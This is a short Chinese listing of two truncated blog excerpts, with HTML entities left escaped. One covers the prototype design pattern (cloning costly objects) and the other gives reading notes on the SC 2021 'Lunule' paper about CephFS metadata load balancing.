原型模式的原理与应用 如果对象的创建成本比较大&#xff0c;而同一个类的不同对象之间差别不大&#xff08;大部分字段都相同&#xff09;&#xff0c;在这种情况下&#xff0c;我们可以利用对已有对象&#xff08;原型&#xff09;进行复制&#xff08;或者叫拷贝&#xff0…

Lunule: An Agile and Judicious Metadata Load Balancer for CephFS——论文阅读

SC 2021 Paper 分布式元数据论文阅读笔记 问题 CephFS采用动态子树分区方法&#xff0c;将分层命名空间划分并将子树分布到多个元数据服务器上。然而&#xff0c;这种方法存在严重的不平衡问题&#xff0c;由于其不准确的不平衡预测、对工作负载特性的忽视以及不必要/无效的迁…